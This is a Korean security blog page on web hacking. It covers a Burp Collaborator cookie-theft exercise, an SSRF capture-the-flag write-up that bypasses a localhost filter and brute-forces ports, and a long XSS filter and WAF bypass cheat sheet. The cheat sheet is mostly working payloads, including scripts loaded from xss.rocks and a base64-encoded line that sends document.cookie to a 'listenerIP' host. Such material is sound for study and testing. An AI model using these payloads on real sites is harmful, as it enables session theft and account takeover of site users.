🚨 본 문서는 보안 연구 및 교육 목적으로 작성되었습니다.

실제 시스템이나 웹사이트에 무단으로 공격을 시도하는 것은 불법이며, 법적 처벌을 받을 수 있습니다.

 

 

 

 

 

버프 스위트 pro (유료)버전은 collaborator 기능을 사용할 수 있다

 

Burp Collaborator는 고유한 도메인 이름을 제공하며,

이를 페이로드에 포함시켜 대상 시스템이 해당 도메인으로 요청을 보내는지 확인 가능하다

 

Burp Suite의 Collaborator Client에서 요청 내역을 확인할 수 있으며,

발생한 DNS 조회, HTTP 요청, TCP 연결 기록을 분석할 수 있다

 

 

 


 

Collaborator를 활용한 XSS 공격 실습

 

버프 스위트 Collaborator에서 Copy to clipboard를 클릭

 

 

 

복사한 주소가 잘 작동하는지 확인

 

 

 

 

XSS 취약점이 존재하는 웹에서 복사한 url로 해당 웹의 현재 쿠키 값을 전달하는 공격을 수행한다

(쿠키 탈취)

 

 

 

 

 

공격이 성공하면

Collaborator 에서 요청 패킷을 확인할 수 있다

요청 패킷을 통해 쿠키 값이 전달됐다 

 

 

 

 

'웹 해킹 > 실무' 카테고리의 다른 글

XSS 필터링 우회4  (0) 2025.03.11
XSS 필터링 우회3  (0) 2025.03.10
XSS 필터링 우회2  (0) 2025.03.10
XSS 필터링 우회  (0) 2025.03.07
[웹해킹] Blind SQL 인젝션 자동화 도구 (python)  (0) 2024.09.03

 

 

 

특정 경로를 입력하면 요청을 보내서 해당 경로의 파일을 보여주는 웹 페이지다.

ssrf 취약점이 존재할 것 같다.

- 웹 서버가 사용자가 입력한 요청을 직접  내부 서버로 보낼 수 있을 때 발생하는 취약점

 

 

 

 

문제 파일 확인

1) flag 위치는 /flag.txt

2) 입력 값에 localhost127.0.0.1 문자열이 있을 경우 error.png를 반환한다. (필터링)

3) locla 포트는 1500~1800의 정수 중 랜덤한 값이다.

 

 

 

 

localhost, 127.0.0.1 필터링을 우회하기 위해, 

localhost를 대문자로 입력하여 요청을 보냈다.

 

필터링되지 않고 정상적으로 파일이 읽어지는 것을 확인

 

 

 

flag 파일은 1500~1800 사이의 정수인 로컬 포트에 존재하기 때문에

버프 스위트 intruder로 자동화 공격을 수행

 

 

 

길이가 다른 응답 탐색 성공

base64로 인코딩된 data가 출력됨

 

 

 

Decoder로 디코딩하면 flag를 얻을 수 있다

 

 

 

 

 

 

HTTP 매개변수 오염을 통한 XSS

  • 아래는 content_type 매개변수 URL 인코딩 없이 사용되어 매개변수 오염이 발생한 경우
  • content_type 매개변수는 URL 인코딩 없이 사용되어 매개변수 오염이 발생.
  • content_type에 악성 스크립트를 삽입하여 XSS를 우회 가능.
<a href="/Share?content_type=1&title=<%=Encode.forHtmlAttribute(untrusted content title)%>">Share</a>

 

  • 공유 페이지에서의 JavaScript 코드
<script>
  var contentType = <%=Request.getParameter("content_type")%>;
  var title = "<%=Encode.forJavaScript(request.getParameter("title"))%>";
  ...
</script>

 

  • 공격 시 URL
  • 공격자가 title 파라미터에 악성 스크립트를 삽입하여 링크를 공유
<a href="/share?content_type=1&title=This is a regular title&amp;content_type=1;alert(1)">Share</a>

 

  • 공유 페이지에서 발생한 XSS
  • 공유 페이지의 출력에서 content_type 값이 1;alert(1)로 되어 스크립트가 실행됨.
<script>
  var contentType = 1; alert(1);
  var title = "This is a regular title";
  ...
</script>

 

 

 

문자 이스케이프 시퀀스

  • HTML과 JavaScript에서 문자 < 의 모든 가능한 조합이다.
  • 이 중 대부분은 바로 렌더링되지 않지만, 특정 상황에서 렌더링 될 수 있는 것이 많다.
  • <
  • %3C
  • &lt
  • &lt;
  • &LT
  • &LT;
  • &#60;
  • &#060;
  • &#0060;
  • &#00060;
  • &#000060;
  • &#0000060;
  • &#x3c;
  • &#x03c;
  • &#x003c;
  • &#x0003c;
  • &#x00003c;
  • &#x000003c;
  • &#X3c;
  • &#X03c;
  • &#X003c;
  • &#X0003c;
  • &#X00003c;
  • &#X000003c;
  • &#x3C;
  • &#x03C;
  • &#x003C;
  • &#x0003C;
  • &#x00003C;
  • &#x000003C;
  • &#X3C;
  • &#X03C;
  • &#X003C;
  • &#X0003C;
  • &#X00003C;
  • &#X000003C;
  • \x3c
  • \x3C
  • \u003c
  • \u003C
 

 

 

 

 

 

 

WAF 우회 방법

 

 

URI(Data URL Scheme)

  • data: 스키마는 브라우저에서 데이터를 직접 URL로 지정하여 처리할 수 있도록 하는 데이터 URI(Data URL Scheme)
data:[<MIME 유형>][;base64],<데이터>

 

  • <MIME 유형>: text/html → 브라우저가 HTML 문서로 해석하게 함.
  • base64: 데이터가 Base64로 인코딩되어 있음을 나타냄.
  • <데이터>: Base64로 인코딩된 HTML 또는 JavaScript 코드.

 

 

  • 브라우저는 data: URL을 해석하여 text/html MIME 타입으로 실행.
  • Base64로 인코딩된 데이터를 디코딩하여 HTML 페이지로 렌더링.
  • <script>alert('XSS')</script>가 실행되며 **XSS(Alert 창 실행)**이 발생.

 

<data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=>

 

 

 

HTML 태그를 활용한 우회

<Img src = x onerror = "javascript: window.onerror = alert; throw XSS">
<Video> <source onerror = "javascript: alert (XSS)">
<Input value = "XSS" type = text>
<applet code="javascript:confirm(document.cookie);">
<isindex x="javascript:" onmouseover="alert(XSS)">
"></SCRIPT>”>’><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
"><img src="x:x" onerror="alert(XSS)">
"><iframe src="javascript:alert(XSS)">
<object data="javascript:alert(XSS)">
<isindex type=image src=1 onerror=alert(XSS)>
<img src=x:alert(alt) onerror=eval(src) alt=0>
<img src="x:gif" onerror="window/src="data:text/html,<svg onload=alert(1)>">
<meta content="&NewLine; 1 &NewLine;; JAVASCRIPT&colon; alert(1)" http-equiv="refresh"/>
<svg><script xlink:href=data&colon;,window.open('https://www.google.com/')></script>
<meta http-equiv="refresh" content="0;url=javascript:confirm(1)">
<iframe src=javascript&colon;alert&lpar;document&period;location&rpar;>
<form><a href="javascript:\u0061lert(1)">X</a>
</script><img/*%00/src="worksinchrome&colon;prompt(1)"/%00*/onerror='eval(src)'>
<style>//*{x:expression(alert(/xss/))}//<style></style>

 

 

이벤트 핸들러를 활용한 우회 (OnMouseOver, OnError 등)

<img src="/" =_=" title="onerror='prompt(1)'">
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=j&#97v&#97script:&#97lert(1)>ClickMe
<script x> alert(1) </script 1=2
<form><button formaction=javascript&colon;alert(1)>CLICKME</form>
<input/onmouseover="javaSCRIPT&colon;confirm&lpar;1&rpar;">
<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
<OBJECT CLASSID="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"><PARAM NAME="DataURL" VALUE="javascript:alert(1)"></OBJECT>

 

 

 

 

alert 함수 필터 우회

  • 'alert(' 문자열을 필터링하는 경우
(alert)(1);
a = alert; a(1);
[1].find(alert);

 

  • 'alert' 문자열을 필터링하는 경우
top[“al”+”ert”](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
top[‘al\145rt’](1)
top[‘al\x65rt’](1)
top[8680439..toString(30)](1)

 

  • 백틱 사용
&#96;`${alert``}`&#96;
  • &#96;는 **백틱(backtick, ` )**을 의미합니다.
  • 따라서 실제 실행되는 코드는  `${alert``}`
  • alert```** → alert()과 동일.

 

 

 

 

 

US-ASCII 인코딩을 이용한 우회

  • 7비트 ASCII 인코딩을 사용하여 필터를 우회.
  • 옛날 Internet Explorer(IE 5, 6, 7) 및 일부 레거시 브라우저에서 작동할 가능성이 있음.
  • Apache Tomcat이 기본적으로 US-ASCII를 사용하는 서버 중 하나로 알려져 있음.
  • 서버가 ISO-8859-1(Latin-1) 문자셋을 사용하면서, 브라우저가 이를 HTML 태그로 변환하는 경우 실행될 수 있음.
  • 현대 웹에서는 대부분 UTF-8을 사용.
¼script¾alert(¢XSS¢)¼/script¾
변형된 문자 원래 문자
¼
¾ >
¢ '

 

 

 

<META> 태그를 활용한 XSS

  • 메타 태그를 이용한 자동 새로고침(refresh)
  • HTTP-EQUIV="refresh"를 이용하여 즉시 JavaScript 실행.
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">

 

  • 데이터 URL을 활용한 XSS
  • data:text/html을 사용하여 Base64로 인코딩된 스크립트를 실행.
  • JavaScript 코드가 직접 보이지 않기 때문에 탐지가 어려움.
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">

 

  • URL 필터 우회 기법
  • 일부 웹사이트가 http://가 포함된 URL만 허용하는 경우를 우회.
  • URL=http://;URL=javascript: 형식을 사용하여 실행.
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">
  • <META HTTP-EQUIV="refresh"> 태그는 브라우저에게 지정된 URL로 자동 리다이렉트하라는 명령을 내림.
  • CONTENT="0;url=javascript:alert('XSS');" 부분은 다음을 의미:
    • 0: 현재 페이지가 로드되자마자 (0초 후) 즉시 리다이렉트 수행
    • url=javascript:alert('XSS');: 리다이렉트할 대상이 JavaScript 실행 코드
  • 결과적으로, 브라우저가 현재 페이지를 javascript:alert('XSS');로 이동시키면서 XSS가 발생.
  • 일부 구형 브라우저 Internet Explorer (IE 6,7,8) 및 취약한 HTML 파서는 이 코드를 유효한 리다이렉트로 처리할 수 있음.
  • 보안 설정이 낮거나, XSS 필터링이 적용되지 않은 경우 실행될 가능성이 있음.
    • 대부분의 웹 애플리케이션은 META refresh를 통한 javascript: 실행을 차단.

 

 

 

<IFRAME>을 활용한 XSS

  • <IFRAME> 태그의 SRC 속성에 javascript: URL을 삽입하여 실행.
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>

 

  • 이벤트 기반 XSS
  • onmouseover 이벤트를 활용하여 사용자가 마우스를 올릴 때 실행.
<IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>

 

 

 

<FRAMESET>을 활용한 XSS

  • <FRAME> 태그의 SRC 속성을 이용하여 JavaScript 실행.
  • <IFRAME>과 유사한 방식.
<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>

 

 

 

<TABLE> 태그의 BACKGROUND 속성 이용

<TABLE BACKGROUND="javascript:alert('XSS')">

 

  • <TD> 태그의 BACKGROUND 속성 이용
  • <TABLE> 및 <TD>의 BACKGROUND 속성에 JavaScript 코드 삽입.
<TABLE><TD BACKGROUND="javascript:alert('XSS')">
  • <TABLE BACKGROUND="...">와 같은 태그 속성은 원래 배경 이미지를 설정하는 데 사용되지만, JavaScript 코드가 포함된 경우 일부 구형 브라우저나 특정 웹 애플리케이션에서 JavaScript를 실행할 수 있음.
  • 예를 들어, 구형 Internet Explorer(IE)에서는 BACKGROUND 속성이 javascript: 스킴을 허용할 수 있었지만, 최신 브라우저에서는 이와 같은 방식의 JavaScript 실행을 제한하거나 차단.

 

 

 

<DIV> 태그를 활용한 XSS

  • background-image 속성을 이용한 실행
  • background-image 속성에 javascript: 스키마를 삽입하여 실행.
<DIV STYLE="background-image: url(javascript:alert('XSS'))">

 

  • 유니코드 인코딩을 활용한 난독화
  • background-image 속성에 javascript: 스키마를 삽입하여 실행.
<DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">

 

  • 추가 문자를 이용한 우회 기법
  • 필터링을 우회하기 위해 오류 문자(1-32, 34, 39, 160, 8192-813, 12288, 65279)를 삽입.
<DIV STYLE="background-image: url(javascript:alert('XSS'))">

 

  • expression()을 이용한 XSS (IE 전용)
  • Internet Explorer에서 지원하는 expression()을 사용하여 JavaScript 실행.
<DIV STYLE="width: expression(alert('XSS'));>
  • 페이지가 로드되면, CSS의 background-image 속성에서 javascript:alert('XSS')를 실행하려고 시도.
  • 정상적으로 배경 이미지가 로드되는 대신, JavaScript 코드가 실행되어 alert('XSS')가 브라우저에서 실행되고, 사용자는 경고 창을 보게 됨.
  • 구형 브라우저(특히 Internet Explorer와 같은 이전 버전)에서는 javascript: URL 프로토콜을 background-image CSS 속성에서 허용했기 때문에 이 코드가 실행될 수 있습니다.
  • Internet Explorer(IE 6, 7, 8 등)에서는 CSS 속성에서 javascript: 프로토콜을 허용하는 경우가 많았고, JavaScript를 URL로 처리할 수 있음.

 

 

 

주석 블록을 활용한 XSS

  • Internet Explorer에서만 실행되는 조건부 주석문을 이용한 XSS.
<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->

 

 

 

BASE 태그를 이용한 XSS

  • BASE 태그를 활용하여 JavaScript 실행 가능
<BASE HREF="javascript:alert('XSS');//">

 

 

 

OBJECT 태그를 이용한 XSS

  • 악성 HTML 파일을 포함하는 OBJECT 태그 활용
<OBJECT TYPE="text/x-scriptlet" DATA="http://xss.rocks/scriptlet.html"></OBJECT>
  • <OBJECT> 태그는 웹 페이지에서 외부 리소스를 포함하거나 특정 콘텐츠를 삽입하는 데 사용됩니다. 보통 플러그인, 임베디드 객체, 외부 파일 등을 포함하는 데 사용됨.
  • <OBJECT> 태그는 여러 가지 type 속성을 사용할 수 있습니다. TYPE="text/x-scriptlet"은 scriptlet을 로드하는 타입을 의미.
    • 최신 웹 브라우저는 대부분 이러한 악성 <OBJECT> 태그를 차단하거나 제한하지만, 일부 구형 브라우저나 보안 설정이 부족한 환경에서는 이 코드가 여전히 실행될 수 있음.

 

 

 

SVG를 이용한 XSS (Firefox 한정)

<EMBED SRC="data:image/svg+xml;base64,..." type="image/svg+xml" AllowScriptAccess="always"></EMBED>
  • <EMBED> 태그는 외부 객체(이미지, 오디오, 비디오 등)를 삽입하는 HTML 요소.
  • 보통 Adobe Flash, PDF, SVG 등 다양한 플러그인을 로드할 때 사용됨.
  • 여기서는 SRC 속성을 이용해 Base64로 인코딩된 SVG 파일을 포함.
  • data: URL 스킴을 사용하여 Base64로 인코딩된 SVG 파일을 포함.
  • image/svg+xml은 SVG 이미지 형식을 의미.
  • base64,... 부분에는 실제 SVG 파일의 Base64 인코딩된 내용이 들어감.
  • AllowScriptAccess="always"를 사용하면, 포함된 콘텐츠(이 경우 SVG 파일) 내의 JavaScript가 실행될 수 있음.
  • 즉, SVG 내의 JavaScript 실행을 허용하는 역할.

 

 

 

XML 데이터 아일랜드 (IE 한정)

  • XML을 활용하여 JavaScript 실행
<XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML>
<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>

 

 

 

HTML+TIME을 활용한 XSS (IE 한정)

<HTML><BODY>
<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
<?import namespace="t" implementation="#default#time2">
<t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert('XSS')</SCRIPT>">
</BODY></HTML>

 

 

 

제한된 입력 환경에서의 XSS

  • JavaScript 파일로 변환하여 실행
<SCRIPT SRC="http://xss.rocks/xss.jpg"></SCRIPT>
  • 구형 Internet Explorer (IE6~IE8) 등 일부 브라우저는 서버에서 제공하는 MIME 타입이 아닌 콘텐츠를 기반으로 자체적으로 파일 유형을 판단했음.
  • 이런 브라우저에서는 서버에서 잘못된 MIME 타입을 반환하거나 공격자가 조작하면 JavaScript가 실행될 가능성이 있음.

 

 

 

서버 사이드 포함(SSI) 이용

<!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT SRC=http://xss.rocks/xss.js></SCRIPT>'"-->
  • <!--#exec cmd="..."-->는 웹 서버(예: Apache)의 Server Side Includes(SSI) 기능을 활용하여 서버에서 특정 명령어를 실행하는 방법입니다.
  • 여기서는 /bin/echo 명령어를 실행하여 HTML 코드의 일부를 출력하고 있음
  • 최종적으로 브라우저가 해석하는 결과:
  • Apache 웹 서버에서 mod_include 모듈이 활성화된 경우, .shtml 파일 또는 특정 설정을 가진 .html 파일에서 SSI가 실행될 수 있음.
  • 기본적으로 .shtml 파일에서 SSI를 해석하며, 일부 서버는 .html에서도 해석할 수 있도록 설정되어 있음.

 

 

 

PHP를 이용한 XSS

<? echo('<SCR)';
echo('IPT>alert("XSS")</SCRIPT>'); ?>
  • 웹 서버가 PHP를 실행하도록 설정되어 있어야 함.
  • PHP가 HTML 페이지를 생성하는 방식이라면 이 공격이 가능함.

 

 

 

IMG 태그를 이용한 명령 실행

<IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">

 

 

 

쿠키 조작을 이용한 XSS

<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">

 <META HTTP-EQUIV="Set-Cookie">

  • HTTP-EQUIV="Set-Cookie":
    • 브라우저가 HTTP 응답 헤더의 Set-Cookie 필드를 해석하는 것처럼 동작하도록 지시함.
    • 즉, 이 태그가 브라우저에 의해 처리되면 쿠키가 설정됨.

 Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>"

  • 브라우저는 "USERID=<SCRIPT>alert('XSS')</SCRIPT>" 값을 쿠키로 설정하려고 시도함.
  • 만약 브라우저가 이 값을 정상적인 쿠키로 처리하지 못하고 HTML의 일부로 해석하면, <SCRIPT>alert('XSS')</SCRIPT>가 실행되어 XSS 공격이 발생할 수 있음.
  • 최신 브라우저에서는 META HTTP-EQUIV="Set-Cookie"가 정상적인 쿠키 설정 방식으로 동작하지 않음.
  • 하지만, 예전 브라우저(Internet Explorer 등)에서는 일부 취약한 구현이 있을 가능성이 있음.

 

 

 

HTML 인용 캡슐화를 이용한 XSS

<SCRIPT a=">" SRC="httx://xss.rocks/xss.js"></SCRIPT>
  • 보안 필터가 <SCRIPT> 태그를 정확히 일치하는 패턴으로만 차단할 경우, 속성을 추가하면 필터를 우회할 수 있음.
  • a=">"를 추가하면 필터가 <SCRIPT> 태그를 감지하지 못할 수도 있음.
    • 공격자는 httx://를 사용하여 필터를 우회한 뒤, 피해자가 직접 URL을 수정하도록 유도할 수도 있음.
    • 예를 들어, 피해자에게 다음과 같은 메시지를 보낼 수 있음: 보안 시스템이 자동으로 http를 httx로 변경했습니다. 브라우저 주소창에서 httx를 http로 바꿔 다시 방문해주세요!
    • 사용자가 이를 믿고 직접 URL을 수정하면, 악성 JavaScript가 실행될 수 있음.

 

 

 

URL 문자열을 이용한 XSS

  • IP 주소, 인코딩을 활용한 우회 기법
<A HREF="http://66.102.7.147/">XSS</A>
<A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A>
<A HREF="http://1113982867/">XSS</A>
<A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A>
<A HREF="http://0102.0146.0007.00000223/">XSS</A>
  • 일반적인 IP 주소 표기법을 사용한 URL.
  • URL 인코딩(Percent-Encoding)을 사용한 도메인 표기법.
  • 1113982867은 10진수 형태로 변환된 IP 주소. ( 1113982867 → 66.102.7.147 )
  • 16진수(Hexadecimal) IP 주소 표기법 ( 0x42 = 66, 0x0000066 = 102, 0x7 = 7, 0x93 = 147 )
  • 8진수(Octal) IP 주소 표기법

 

 

 

Base64 인코딩을 이용한 XSS

<img onload="eval(atob('ZG9jdW1lbnQubG9jYXRpb249Imh0dHA6Ly9saXN0ZXJuSVAvIitkb2N1bWVudC5jb29raWU='))">
  • <img> 태그의 onload 이벤트는 이미지가 로드될 때 실행됨.
  • 브라우저는 이미지가 정상적으로 로드되었을 때 onload 속성에 지정된 JavaScript 코드를 실행함.
  • eval(): 문자열을 JavaScript 코드로 해석하여 실행하는 함수.
  • atob(...): Base64로 인코딩된 문자열을 디코딩하는 함수
    • Base64 디코딩 결과 ( document.location="http://listenerIP/"+document.cookie )

 

 

 

프로토콜 우회를 이용한 XSS

<A HREF="//www.google.com/">XSS</A>
  • //는 **스키마 상대 URL(Scheme-relative URL)**을 의미.
  • 브라우저는 현재 페이지가 로드된 프로토콜(예: HTTP 또는 HTTPS)을 자동으로 적용.

 

 

 

JavaScript 링크를 이용한 XSS

<A HREF="javascript:document.location='http://www.google.com/'">XSS</A>

 

 

 

 

 

 

 

이스케이프 문자 우회

  • 서버 측에서 따옴표를 이스케이프 처리해도, 이스케이프 문자를 활용하여 우회 가능.
<SCRIPT>var a="\\\\";alert('XSS');//";</SCRIPT>
  • JSON이나 JavaScript 이스케이프가 적용됐지만 HTML 인코딩이 적용되지 않은 경우 <script> 태그를 닫고 새로운 스크립트를 삽입 가능.
</script><script>alert('XSS');</script>

 

 

 

HTML 태그 활용 XSS

  • <TITLE> 태그 종료 후 스크립트 삽입:
</TITLE><SCRIPT>alert("XSS");</SCRIPT>
  • <INPUT> 태그에서 SRC 속성을 활용:
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
  • <BODY> 태그에서 BACKGROUND 속성 활용:
<BODY BACKGROUND="javascript:alert('XSS')">
  • <IMG> 태그에서 DYNSRC 및 LOWSRC 속성 활용:
<IMG DYNSRC="javascript:alert('XSS')">
<IMG LOWSRC="javascript:alert('XSS')">

 

 

 

스타일 속성 및 CSS 기반 XSS

  • list-style-image 속성 활용 (IE에서만 작동):
<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</UL>
  • VBScript를 활용한 이미지 XSS:
<IMG SRC='vbscript:msgbox("XSS")'>
  • SVG 태그 활용:
<svg/onload=alert('XSS')>
  • ECMAScript 6 활용:
Set.constructor`alert\x28document.domain\x29
  • BODY 태그 활용:
<BODY ONLOAD=alert('XSS')>

 

 

 

이벤트 핸들러 기반 XSS

  • 다양한 JavaScript 이벤트 핸들러를 활용한 공격:

사용자 상호작용 관련 이벤트

  • onClick(): 사용자가 클릭할 때
  • onDblClick(): 사용자가 두 번 클릭할 때
  • onMouseDown(): 마우스를 클릭할 때
  • onMouseUp(): 마우스를 클릭에서 뗄 때
  • onMouseMove(): 마우스를 움직일 때
  • onMouseOver(): 마우스가 요소 위로 이동할 때
  • onMouseOut(): 마우스가 요소 밖으로 이동할 때
  • onMouseEnter(): 커서가 객체 위로 이동할 때
  • onMouseLeave(): 커서가 객체에서 벗어날 때
  • onContextMenu(): 마우스 오른쪽 버튼 클릭
  • onSelect(): 사용자가 일부 텍스트를 선택할 때
  • onSelectStart(): 텍스트 선택이 시작될 때
  • onSelectionChange(): 텍스트 선택이 변경될 때
  • onKeyDown(): 키를 누를 때
  • onKeyPress(): 키를 누르거나 누르고 있을 때
  • onKeyUp(): 키를 놓을 때
  • onInput(): 입력 필드에서 값이 변경될 때

윈도우 & 문서 관련 이벤트

  • onLoad(): 문서가 로드될 때
  • onUnload(): 사용자가 페이지를 떠날 때
  • onBeforeUnload(): 페이지를 떠나기 직전
  • onResize(): 창 크기가 변경될 때
  • onResizeStart(): 창 크기 조절 시작
  • onResizeEnd(): 창 크기 조절 종료
  • onMove(): 창이 이동될 때
  • onMoveStart(): 창 이동 시작
  • onMoveEnd(): 창 이동 종료
  • onScroll(): 사용자가 스크롤할 때
  • onHashChange(): URL 해시 변경 시
  • onPopState(): 브라우저 뒤로가기/앞으로가기 시
  • onMessage(): 문서가 메시지를 받을 때
  • onStorage(): 저장 공간이 변경될 때

복사/붙여넣기 관련 이벤트

  • onCopy(): 사용자가 복사할 때
  • onCut(): 사용자가 잘라내기 할 때
  • onPaste(): 사용자가 붙여넣기 할 때
  • onBeforeCopy(): 복사되기 직전
  • onBeforeCut(): 잘라내기 직전
  • onBeforePaste(): 붙여넣기 직전

드래그 & 드롭 관련 이벤트

  • onDrag(): 사용자가 객체를 드래그할 때
  • onDragStart(): 드래그 작업을 시작할 때
  • onDragEnd(): 드래그 작업이 끝날 때
  • onDragEnter(): 객체가 유효한 위치로 들어올 때
  • onDragOver(): 객체가 유효한 위치 위에 있을 때
  • onDragLeave(): 객체가 유효한 위치에서 나갈 때
  • onDrop(): 객체를 드롭할 때
  • onDragDrop(): 사용자가 브라우저 창에 객체를 놓을 때

폼 관련 이벤트

  • onChange(): 입력 필드 값이 변경될 때
  • onSubmit(): 폼을 제출할 때
  • onReset(): 폼을 리셋할 때

미디어 관련 이벤트

  • onMediaComplete(): 미디어 파일이 끝날 때
  • onMediaError(): 미디어 파일에서 오류 발생
  • onTrackChange(): 재생 목록의 트랙이 변경될 때

마우스 휠 관련 이벤트

  • onMouseWheel(): 사용자가 마우스 휠을 사용할 때

프린트 관련 이벤트

  • onBeforePrint(): 사용자가 인쇄하기 전에
  • onAfterPrint(): 인쇄 후

데이터 관련 이벤트

  • onDataAvailable(): 요소의 데이터가 변경될 때
  • onDataSetChanged(): 데이터 세트가 변경될 때
  • onDataSetComplete(): 데이터 세트가 로드 완료될 때
  • onCellChange(): 데이터 제공자가 변경될 때
  • onPropertyChange(): 요소 속성이 변경될 때
  • onReadyStateChange(): 요소의 상태가 변경될 때

포커스 관련 이벤트

  • onFocus(): 요소가 포커스를 받을 때
  • onFocusIn(): 요소가 포커스를 받을 때(버블링 지원)
  • onFocusOut(): 요소가 포커스를 잃을 때(버블링 지원)
  • onBlur(): 요소가 포커스를 잃을 때
  • onActivate(): 객체가 활성 요소로 설정될 때
  • onBeforeActivate(): 객체가 활성 요소로 설정되기 전에 발생
  • onBeforeDeactivate(): 현재 객체에서 activeElement가 변경된 직후
  • onDeactivate(): activeElement가 변경될 때 발생
  • onBeforeEditFocus(): 편집 가능한 요소가 활성화되기 전

애니메이션 & 타임라인 관련 이벤트

  • onBegin(): 타임라인이 시작될 때
  • onEnd(): 타임라인이 종료될 때
  • onPause(): 타임라인이 일시 정지될 때
  • onResume(): 타임라인이 재개될 때
  • onReverse(): 타임라인이 역재생될 때
  • onRepeat(): 타임라인이 반복될 때
  • onBounce(): 마키가 한쪽 끝에 도달할 때
  • onFinish(): 마키가 루프를 완료할 때
  • onStart(): 마키 루프가 시작될 때
  • onStop(): 사용자가 중지 버튼을 누르거나 웹페이지를 종료할 때
  • onSyncRestored(): 미디어 동기화가 복원될 때
  • onSeek(): 타임라인이 특정 지점을 찾을 때

오류 처리 관련 이벤트

  • onError(): 문서나 이미지 로딩 오류 발생 시
  • onErrorUpdate(): 데이터 업데이트 중 오류 발생 시
  • onTimeError(): 시간 속성이 잘못된 값일 때

네트워크 상태 관련 이벤트

  • onOffline(): 브라우저가 오프라인 모드로 전환될 때
  • onOnline(): 브라우저가 온라인 모드로 전환될 때
  • onOutOfSync(): 미디어 요소의 동기화가 깨질 때

실행 취소/반복 관련 이벤트

  • onUndo(): 사용자가 실행 취소할 때
  • onRedo(): 사용자가 실행 취소를 다시 실행할 때

 

기타

  • onHelp(): 사용자가 F1 키를 누를 때
  • onControlSelect(): 사용자가 컨트롤을 선택할 때
  • onLoseCapture(): releaseCapture()를 통해 제어권을 잃을 때
  • onLayoutComplete(): 인쇄 또는 미리보기 시 레이아웃 완료
  • onFilterChange(): 필터 상태가 변경될 때
  • onURLFlip(): HTML+TIME에서 ASF 파일이 내장 스크립트를 실행할 때
  • seekSegmentTime(): 세그먼트 타임라인에서 특정 지점을 찾고 재생할 때

 

 

 

& JavaScript 포함

 

  • <BR> 태그의 SIZE 속성을 이용하여 JavaScript 코드 실행.
  • 브라우저가 속성 값을 평가할 때 JavaScript 코드가 실행될 가능성이 있음.
<BR SIZE="&{alert('XSS')}">

 

 

 

 

스타일 시트 관련 XSS

 

  • <LINK> 태그를 이용하여 JavaScript를 포함한 스타일시트를 로드하면 실행됨.
  • 일반적으로 보안이 강화된 브라우저에서는 차단되지만, 특정 환경에서 실행될 가능성이 있음.
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">

 

 

  • 원격 스타일 시트
  • 공격자가 제어하는 원격 스타일시트를 로드하여 CSS 속성을 조작해 XSS 실행.
<LINK REL="stylesheet" HREF="http://xss.rocks/xss.css">

 

  • @import를 이용한 원격 스타일 시트
  • <STYLE> 태그 내부에서 @import를 이용해 원격 CSS 파일을 불러와서 악성 코드 실행.
<STYLE>@import 'http://xss.rocks/xss.css';</STYLE>

 

  • Moz-Binding을 이용한 XSS (Gecko 기반 브라우저)
  • Mozilla Gecko 엔진에서 지원하는 -moz-binding 속성을 악용하여 원격 XUL(XML User Interface Language) 파일을 로드하여 XSS 실행.
<STYLE>BODY{-moz-binding:url("http://xss.rocks/xssmoz.xml#xss")}</STYLE>

 

  • JavaScript를 포함한 스타일 태그
  • @import를 이용하면서 \(백슬래시)를 추가하여 JavaScript를 실행하도록 우회.
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>

 

  • 표현식(expression)을 이용한 XSS (IE 전용)
  • Internet Explorer에서 CSS expression() 속성을 이용하여 JavaScript 실행.
<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">

 

  • IMG 태그의 스타일 속성을 통한 XSS
  • expression()을 변형하여 IE에서 JavaScript가 실행되도록 함.
<A STYLE='no\xss:noxss("*//*"); xss:ex/*XSS*//*/*/pression(alert("XSS"))'>

 

  • 배경 이미지 URL을 이용한 XSS
  • background-image 속성을 javascript: URL로 설정하여 XSS 실행.
<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>

 

  • BODY 태그의 background 속성을 이용한 XSS
  • background-image 속성을 javascript: URL로 설정하여 XSS 실행.
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
<STYLE type="text/css">BODY{background:url("<javascript:alert>('XSS')")}</STYLE>

 

  • 익명 HTML을 이용한 스타일 속성 XSS (IE 전용)
  • IE에서는 존재하지 않는 태그(<XSS>)도 해석하여 STYLE 속성 내부의 expression()을 실행할 수 있음.
